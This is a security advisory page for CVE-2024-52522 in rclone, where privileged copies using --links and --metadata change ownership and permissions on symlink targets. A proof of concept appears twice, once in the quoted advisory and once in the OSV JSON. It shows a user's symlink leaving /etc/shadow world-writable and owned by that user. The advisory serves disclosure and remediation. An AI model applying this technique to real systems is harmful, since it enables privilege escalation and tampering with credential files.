CVE-2024-52522: Github.com/rclone/rclone Rclone Has Improper Permission And Vulnerability

MODERATE
Advisory Identifier: GHSA-hrxh-9w67-g4cv
CVSS 5.5
CWE-281
Published
Advisory Summary

CVE-2024-52522 is a MODERATE (CVSS 5.5) rclone has improper permission and vulnerability (CWE-281: Improper Preservation of Permissions) affecting Github.com/rclone/rclone libraries in the Go ecosystem. The issue involves rclone has improper permission and ownership handling on symlink targets with --links and --metadata. Remediation is available by upgrading affected packages to version 1.68.2.

CVE-2024-52522 at a Glance

CVE Identifier CVE-2024-52522
GHSA Identifier GHSA-hrxh-9w67-g4cv
Severity MODERATE
CVSS v3.1 Base Score 5.5
CWE Classification CWE-281: Improper Preservation of Permissions
Affected Product Github.com/rclone/rclone
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2024-52522

To remediate this vulnerability, upgrade all affected Github.com/rclone/rclone dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/rclone/rclone fixed: 1.68.2
Upgrade github.com/rclone/rclone to 1.68.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/rclone/rclone

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-52522, inspect your project dependencies for Github.com/rclone/rclone:

inspect dependencies for github.com/rclone/rclone

Analyze the terminal output to locate any version of Github.com/rclone/rclone in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.68.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-281: Improper Preservation of Permissions, where the product does not preserve permissions or incorrectly preserves permissions when copying, restoring, or sharing objects, which can cause them to have less restrictive permissions than intended. In Github.com/rclone/rclone, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### **tl;dr:** unprivileged user creates a symlink to /etc/sudoers, /etc/shadow or similar and waits for a privileged user or process to copy/backup/mirror users data (using `--links` and `--metadata`). unprivileged user now owns /etc/sudoers. ### Summary Insecure handling of symlinks with `--links` and `--metadata` in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files (e.g., /etc/shadow), compromising system integrity, confidentiality, and availability. For instance, an unprivileged user could set a symlink to a sensitive file within their home directory, waiting for an administrator or automated process (e.g., a cron job running with elevated privileges) to copy their files with rclone using the --links and --metadata options. Upon copying, rclone will incorrectly apply chown and chmod to the symlink’s target file rather than just the symlink itself, resulting in ownership and permission changes on the sensitive file. ### Who is affected If you are not using `--metadata` **and** `--links` **and** copying files **to** the local backend you are not affected by this issue. If you are using `--metadata` and `-links` and copying files to the local backend but not as a superuser, then this will manifest itself as a bug by setting incorrect permissions. If you are using `--metadata` and `-links` and copying files to the local backend but as a superuser then this could affect you. ### Details When copying directories containing symlinks with rclone using the --links and --metadata options, rclone mistakenly applies chown and chmod operations to the target of the symlink instead of the symlink itself. As a result, ownership and permissions on sensitive system files (e.g., /etc/shadow) may be altered if they are the target of any symlink within the copied directory structure. This allows users to affect the permissions and ownership of files they should not have access to, resulting in privilege escalation and potential system compromise. ### PoC ``` # Create a directory to simulate a user home directory root@workstation:~# mkdir -p /tmp/home/user1 root@workstation:~# sudo chown user1:user1 /tmp/home/user1 ``` ``` # As user1, create a symlink to /etc/shadow within their home directory root@workstation:~# sudo -u user1 ln -s /etc/shadow /tmp/home/user1/shadow_link ``` ``` # List permissions on the original files root@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow ----------. 1 root root 1283 Nov 5 13:30 /etc/shadow lrwxrwxrwx. 1 user1 user1 11 Nov 5 13:56 /tmp/home/user1/shadow_link -> /etc/shadow ``` ``` # Copy the directory structure with rclone root@workstation:~# rclone copy /tmp/home /tmp/home_new --links --metadata --log-level=DEBUG 2024/11/05 13:56:53 DEBUG : rclone: Version "v1.68.1" starting with parameters ["rclone" "copy" "/tmp/home" "/tmp/home_new" "--links" "--metadata" "--log-level=DEBUG"] 2024/11/05 13:56:53 DEBUG : Creating backend with remote "/tmp/home" 2024/11/05 13:56:53 NOTICE: Config file "/root/.config/rclone/rclone.conf" not found - using defaults 2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding "{b6816}" suffix to name 2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item "/tmp/home" to be canonical "local{b6816}:/tmp/home" 2024/11/05 13:56:53 DEBUG : Creating backend with remote "/tmp/home_new" 2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding "{b6816}" suffix to name 2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item "/tmp/home_new" to be canonical "local{b6816}:/tmp/home_new" 2024/11/05 13:56:53 DEBUG : Added delayed dir = "user1", newDst=<nil> 2024/11/05 13:56:53 DEBUG : user1/shadow_link.rclonelink: Need to transfer - File not found at Destination 2024/11/05 13:56:53 DEBUG : user1/shadow_link.rclonelink: md5 = 2fe8599cb25a0c790213d39b3be97c27 OK 2024/11/05 13:56:53 INFO : user1/shadow_link.rclonelink: Copied (new) 2024/11/05 13:56:53 DEBUG : Local file system at /tmp/home_new: Waiting for checks to finish 2024/11/05 13:56:53 DEBUG : Local file system at /tmp/home_new: Waiting for transfers to finish 2024/11/05 13:56:53 INFO : user1: Updated directory metadata 2024/11/05 13:56:53 INFO : Transferred: 11 B / 11 B, 100%, 0 B/s, ETA - Transferred: 1 / 1, 100% Elapsed time: 0.0s 2024/11/05 13:56:53 DEBUG : 6 go routines active ``` ``` # List permissions again root@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow /tmp/home_new/user1/shadow_link -rwxrwxrwx. 1 user1 user1 1283 Nov 5 13:30 /etc/shadow # Wrong, very wrong. Should be root:root and 0000. lrwxrwxrwx. 1 root root 11 Nov 5 13:56 /tmp/home_new/user1/shadow_link -> /etc/shadow # Wrong too, should be user1:user1 lrwxrwxrwx. 1 user1 user1 11 Nov 5 13:56 /tmp/home/user1/shadow_link -> /etc/shadow ``` ``` # Fix /etc/shadow and clean up root@workstation:~# chown root:root /etc/shadow root@workstation:~# chmod 000 /etc/shadow root@workstation:~# rm -rf /tmp/home /tmp/home_new ``` ### Impact Type of Vulnerability: Improper permissions and ownership handling on symlink targets (Insecure Handling of Symlinks) Impact: This vulnerability allows unprivileged users to modify permissions and ownership of sensitive system files by creating symlinks to those files in directories that are subsequently copied by an administrator with rclone --links --metadata. This can lead to unauthorized access, privilege escalation, and potential system compromise.

CVE-2024-52522 Affected Github.com/rclone/rclone Versions

1 component(s)
Fixed Versions:
1.68.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/rclone/rclone
Go
≥ 1.59.0
< 1.68.2
1.68.2

References

Frequently Asked Questions

What is CVE-2024-52522?
CVE-2024-52522 is a security vulnerability in Github.com/rclone/rclone involving Rclone has Improper Permission and Ownership Handling on Symlink Targets with --links and --metadata under CWE-281: Improper Preservation of Permissions.
Which Github.com/rclone/rclone versions are affected?
Affected versions include releases prior to 1.68.2 across affected packages: github.com/rclone/rclone.
What version fixes CVE-2024-52522?
Upgrading to 1.68.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/rclone/rclone affected?
Yes, github.com/rclone/rclone is affected in releases prior to 1.68.2. Upgrade your dependency to 1.68.2 or later.
What is the CVSS score of CVE-2024-52522?
CVE-2024-52522 has a CVSS v3.1 base score of 5.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L.
What CWE is associated with CVE-2024-52522?
CVE-2024-52522 is classified under CWE-281: Improper Preservation of Permissions (The product does not preserve permissions or incorrectly preserves permissions when copying, restoring, or sharing objects, which can cause them to have less restrictive permissions than intended.).
How can I check Go dependencies for CVE-2024-52522?
Run the dependency tree command: 'inspect dependencies for github.com/rclone/rclone'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hrxh-9w67-g4cv",
  "modified" : "2024-11-19T20:36:02Z",
  "published" : "2024-11-19T20:36:02Z",
  "aliases" : [ "CVE-2024-52522" ],
  "summary" : "Rclone has Improper Permission and Ownership Handling on Symlink Targets with --links and --metadata",
  "details" : "### **tl;dr:**\n\nunprivileged user creates a symlink to /etc/sudoers, /etc/shadow or similar and waits for a privileged user or process to copy/backup/mirror users data (using `--links` and `--metadata`). unprivileged user now owns /etc/sudoers.\n\n### Summary\n\nInsecure handling of symlinks with `--links` and `--metadata` in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files (e.g., /etc/shadow), compromising system integrity, confidentiality, and availability.\n\nFor instance, an unprivileged user could set a symlink to a sensitive file within their home directory, waiting for an administrator or automated process (e.g., a cron job running with elevated privileges) to copy their files with rclone using the --links and --metadata options. Upon copying, rclone will incorrectly apply chown and chmod to the symlink’s target file rather than just the symlink itself, resulting in ownership and permission changes on the sensitive file.\n\n### Who is affected\n\nIf you are not using `--metadata` **and** `--links` **and** copying files **to** the local backend you are not affected by this issue.\n\nIf you are using `--metadata` and `-links` and copying files to the local backend but not as a superuser, then this will manifest itself as a bug by setting incorrect permissions.\n\nIf you are using `--metadata` and `-links` and copying files to the local backend but as a superuser then this could affect you.\n\n### Details\n\nWhen copying directories containing symlinks with rclone using the --links and --metadata options, rclone mistakenly applies chown and chmod operations to the target of the symlink instead of the symlink itself. As a result, ownership and permissions on sensitive system files (e.g., /etc/shadow) may be altered if they are the target of any symlink within the copied directory structure. This allows users to affect the permissions and ownership of files they should not have access to, resulting in privilege escalation and potential system compromise.\n\n### PoC\n\n```\n# Create a directory to simulate a user home directory\nroot@workstation:~# mkdir -p /tmp/home/user1\nroot@workstation:~# sudo chown user1:user1 /tmp/home/user1\n```\n```\n# As user1, create a symlink to /etc/shadow within their home directory\nroot@workstation:~# sudo -u user1 ln -s /etc/shadow /tmp/home/user1/shadow_link\n```\n```\n# List permissions on the original files\nroot@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow\n----------. 1 root  root  1283 Nov  5 13:30 /etc/shadow\nlrwxrwxrwx. 1 user1 user1   11 Nov  5 13:56 /tmp/home/user1/shadow_link -> /etc/shadow\n```\n```\n# Copy the directory structure with rclone\nroot@workstation:~# rclone copy /tmp/home /tmp/home_new --links --metadata --log-level=DEBUG\n2024/11/05 13:56:53 DEBUG : rclone: Version \"v1.68.1\" starting with parameters [\"rclone\" \"copy\" \"/tmp/home\" \"/tmp/home_new\" \"--links\" \"--metadata\" \"--log-level=DEBUG\"]\n2024/11/05 13:56:53 DEBUG : Creating backend with remote \"/tmp/home\"\n2024/11/05 13:56:53 NOTICE: Config file \"/root/.config/rclone/rclone.conf\" not found - using defaults\n2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding \"{b6816}\" suffix to name\n2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item \"/tmp/home\" to be canonical \"local{b6816}:/tmp/home\"\n2024/11/05 13:56:53 DEBUG : Creating backend with remote \"/tmp/home_new\"\n2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding \"{b6816}\" suffix to name\n2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item \"/tmp/home_new\" to be canonical \"local{b6816}:/tmp/home_new\"\n2024/11/05 13:56:53 DEBUG : Added delayed dir = \"user1\", newDst=<nil>\n2024/11/05 13:56:53 DEBUG : user1/shadow_link.rclonelink: Need to transfer - File not found at Destination\n2024/11/05 13:56:53 DEBUG : user1/shadow_link.rclonelink: md5 = 2fe8599cb25a0c790213d39b3be97c27 OK\n2024/11/05 13:56:53 INFO  : user1/shadow_link.rclonelink: Copied (new)\n2024/11/05 13:56:53 DEBUG : Local file system at /tmp/home_new: Waiting for checks to finish\n2024/11/05 13:56:53 DEBUG : Local file system at /tmp/home_new: Waiting for transfers to finish\n2024/11/05 13:56:53 INFO  : user1: Updated directory metadata\n2024/11/05 13:56:53 INFO  :\nTransferred:             11 B / 11 B, 100%, 0 B/s, ETA -\nTransferred:            1 / 1, 100%\nElapsed time:         0.0s\n\n2024/11/05 13:56:53 DEBUG : 6 go routines active\n```\n```\n# List permissions again\nroot@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow /tmp/home_new/user1/shadow_link\n-rwxrwxrwx. 1 user1 user1 1283 Nov  5 13:30 /etc/shadow                                                 # Wrong, very wrong. Should be root:root and 0000.\nlrwxrwxrwx. 1 root  root    11 Nov  5 13:56 /tmp/home_new/user1/shadow_link -> /etc/shadow              # Wrong too, should be user1:user1\nlrwxrwxrwx. 1 user1 user1   11 Nov  5 13:56 /tmp/home/user1/shadow_link -> /etc/shadow\n```\n```\n# Fix /etc/shadow and clean up\nroot@workstation:~# chown root:root /etc/shadow\nroot@workstation:~# chmod 000 /etc/shadow\nroot@workstation:~# rm -rf /tmp/home /tmp/home_new\n```\n### Impact\nType of Vulnerability: Improper permissions and ownership handling on symlink targets (Insecure Handling of Symlinks)\n\nImpact: This vulnerability allows unprivileged users to modify permissions and ownership of sensitive system files by creating symlinks to those files in directories that are subsequently copied by an administrator with rclone --links --metadata. This can lead to unauthorized access, privilege escalation, and potential system compromise.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/rclone/rclone"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.59.0"
      }, {
        "fixed" : "1.68.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/security/advisories/GHSA-hrxh-9w67-g4cv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-52522"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/commit/01ccf204f42b4f68541b16843292439090a2dcf0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rclone/rclone"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-281" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-11-19T20:36:02Z",
    "nvd_published_at" : "2024-11-15T18:15:30Z"
  }
}